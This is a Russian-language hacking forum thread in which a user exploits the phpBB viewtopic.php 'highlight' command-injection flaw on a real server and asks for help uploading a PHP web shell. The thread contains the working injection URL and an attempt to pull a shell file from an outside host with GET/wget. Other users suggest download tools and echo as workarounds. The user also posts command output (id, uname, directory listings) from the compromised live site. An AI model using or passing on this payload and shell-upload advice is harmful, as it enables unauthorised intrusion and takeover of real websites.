Форумы PhpBB Shell wget get

Discussion in 'Уязвимости CMS/форумов' started by Shapka, 3 Nov 2005.

  1. Shapka

    Shapka New Member

    Joined:
    28 Oct 2005
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    сервак с дырой /viewtopic.php?t=89&highlight=%2527.$poster=%60$cmd%60.%2527&cmd=id
    короче я могу выполнять ls -la, cat, pwd... ps auа команду /viewtopic.php?t=89&highlight=%2527.$poster=%60$cmd%60.%2527&cmd=GET http://lol.lol.ru/lol.php > lol.php некак не проходит...
    хотя выставил на папки chmod 0777 и все равно не льяется.....
    вот подобный форум http://www.leo-clubs.fi/dev/
    помогите кто может...
    скажите команды я знаю get и wget не та не та не заливает и еще скажите команду создание нового пустого файла
     
  2. Shapka

    Shapka New Member

    Joined:
    28 Oct 2005
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    народ помогите команды вгет и гет не пашут!!!
     
  3. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    У меня такая же трабла была - создавася пустой файл вместо шелла. Я не стал особо думать и сдалал echo :)
    Ищи другие качалки.
     
  4. RevenAnt

    RevenAnt Elder - Старейшина

    Joined:
    8 Apr 2005
    Messages:
    60
    Likes Received:
    18
    Reputations:
    9
    wget, get, fetch, lynx, curl
    тести ....
    ______
    ну и канешно echo (как было сказано выше) ... всегда спасает :)
     
    #4 RevenAnt, 4 Nov 2005
    Last edited: 4 Nov 2005
  5. Jenizix

    Jenizix New Member

    Joined:
    2 Nov 2005
    Messages:
    18
    Likes Received:
    1
    Reputations:
    0
  6. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    ну обычно бывают wget и fetch .. ты сначала uname -a , если фряха то 99% будет fetch а так which fetch lynx wget curl get links =)
     
  7. Shapka

    Shapka New Member

    Joined:
    28 Oct 2005
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    сейчас потестим, а вот еще проблема...
    chomod 0777 index.php - результатов не дал
    chomod 0777 index.php - результат дал!!!! но ведь я подряд их вводил
    на папки тожне не могу chmod выставить :(

    З.Ы. иногда бывает создается пустой файл, использую echo, а он в файл ниче не вставляет
     
    #7 Shapka, 4 Nov 2005
    Last edited: 4 Nov 2005
  8. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    такс.. во первых не chomod а chmod] а во вторых ты же одинаковые команды вводил как это бывает что в первый раз не получилось а во второй раз получилось? если не получается chmod значит прав нет..
     
  9. Shapka

    Shapka New Member

    Joined:
    28 Oct 2005
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    в том и фишка! на блин я немного ошибся 1й раз я пробовал на index.php а 2й раз на config.php на конфиг.пхп получилось а на индекс нет, потом пытался cat config.php и мне нечего не выдалось (
     
  10. Shapka

    Shapka New Member

    Joined:
    28 Oct 2005
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    вот такой расклад у меня получился
    id
    uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

    uname -a
    FreeBSD systemplus.info 4.4-RELEASE FreeBSD 4.4-RELEASE #0: Wed Aug 28 19:41:18 GMT 2002 root@osbuilder:/usr/src/sys/compile/SERVER

    Фряха, но fetch не пашет :(

    ls -la

    drwxr-xr-x 10 horus84 autoexpert.ro 1024 Aug 10 15:39 .
    drwxrwxr-x 24 usr203226026 autoexpert.ro 1536 Aug 12 17:37 ..
    drwxr-xr-x 2 horus84 autoexpert.ro 1024 Apr 28 2004 admin
    drwxr-xr-x 2 horus84 autoexpert.ro 512 Apr 28 2004 cache
    -rw-r--r-- 1 horus84 autoexpert.ro 5051 Apr 28 2004 common.php
    -rw-r--r-- 1 horus84 autoexpert.ro 275 Apr 28 2004 config.php
    drwxr-xr-x 2 horus84 autoexpert.ro 512 Apr 28 2004 db
    drwxr-xr-x 2 horus84 autoexpert.ro 512 Apr 28 2004 docs
    -rw-r--r-- 1 horus84 autoexpert.ro 810 Apr 28 2004 extension.inc
    -rw-r--r-- 1 horus84 autoexpert.ro 4669 Jul 23 2004 faq.php
    -rw-r--r-- 1 horus84 autoexpert.ro 45501 Jul 23 2004 groupcp.php
    drwxr-xr-x 4 horus84 autoexpert.ro 512 Apr 28 2004 images
    drwxr-xr-x 3 horus84 autoexpert.ro 1024 Aug 10 15:40 includes
    -rw-r--r-- 1 horus84 autoexpert.ro 15406 Jul 23 2004 index.php
    -rw-r--r-- 1 horus84 autoexpert.ro 14332 Apr 28 2004 index_040721.php
    drwxr-xr-x 4 horus84 autoexpert.ro 512 Apr 28 2004 language
    -rw-r--r-- 1 horus84 autoexpert.ro 7937 Jul 23 2004 login.php
    -rw-r--r-- 1 horus84 autoexpert.ro 13175 Jul 23 2004 memberlist.php
    -rw-r--r-- 1 horus84 autoexpert.ro 38682 Jul 23 2004 modcp.php
    -rw-r--r-- 1 horus84 autoexpert.ro 34208 Jul 20 2003 posting.php
    -rw-r--r-- 1 horus84 autoexpert.ro 72647 Jul 20 2003 privmsg.php
    -rw-r--r-- 1 horus84 autoexpert.ro 3719 Apr 28 2004 profile.php
    -rw-r--r-- 1 horus84 autoexpert.ro 43475 Jul 23 2004 search.php
    drwxr-xr-x 4 horus84 autoexpert.ro 512 May 26 2004 templates
    -rw-r--r-- 1 horus84 autoexpert.ro 24211 Jul 23 2004 viewforum.php
    -rw-r--r-- 1 horus84 autoexpert.ro 8305 Jul 23 2004 viewonline.php
    -rw-r--r-- 1 horus84 autoexpert.ro 46082 Jul 23 2004 viewtopic.php
     
  11. Shapka

    Shapka New Member

    Joined:
    28 Oct 2005
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Опечатался! :)

    uid=33(www-data)
    gid=33(www-data)
    groups=33(www-data)
    так кто мне поможет э тими правами разобраться